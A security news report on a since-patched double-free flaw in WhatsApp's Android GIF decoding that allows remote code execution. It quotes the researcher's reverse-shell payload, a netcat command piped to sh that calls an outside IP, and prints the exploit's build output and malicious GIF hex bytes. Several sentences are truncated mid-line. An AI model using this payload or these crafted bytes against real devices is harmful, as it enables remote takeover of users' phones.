A security researcher that goes online with the moniker Awakened discovered a
The expert reported the issue to Facebook that acknowledged and addressed the flaw with the release of WhatsApp version 2.19.244.
The expert discovered that the flaw resides in the DDGifSlurp in decoding
“When the WhatsApp Gallery is opened, the said GIF file triggers the double-free bug
The expert was able to craft a GIF file to control the PC register, then he successfully achieved remote code execution by executing the following command:
system ( "toybox nc 192.168.2.72 4444 | sh");
The expert highlighted that it was not possible to point to system() function in libc.so, instead, it was necessary to first let PC jumps to an intermediate gadget.
“system
and the gadget must be replaced by the actual address found by an information disclosure vulnerability.”
The expert developed the code that was able to generate a corrupted GIF file that could exploit the vulnerability.
notroot@osboxes:~/Desktop/gif$ gcc -o exploit egif_lib.c exploit.c
.....
.....
.....
notroot@osboxes:~/Desktop/gif$ ./exploit
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
Then he copied the content into a GIF file and send it as
Below the attack vectors devised by the expert:
The exploit works for WhatsApp version 2.19.230 and prior versions, the compa
The exploit works for Android 8.1 and 9.0, but the expert explained that it does not work for Android 8.0 and below.
“In the older Android versions, double-free could still be triggered. However, because of the calls by the system after the double-free, the app just crashes before reaching to the point that we could control the PC register.” concludes the expert.
[adrotate banner=”9″] | [adrotate banner=”12″] |
(SecurityAffairs – WhatsApp, hacking)
[adrotate banner=”5″]
[adrotate banner=”13″]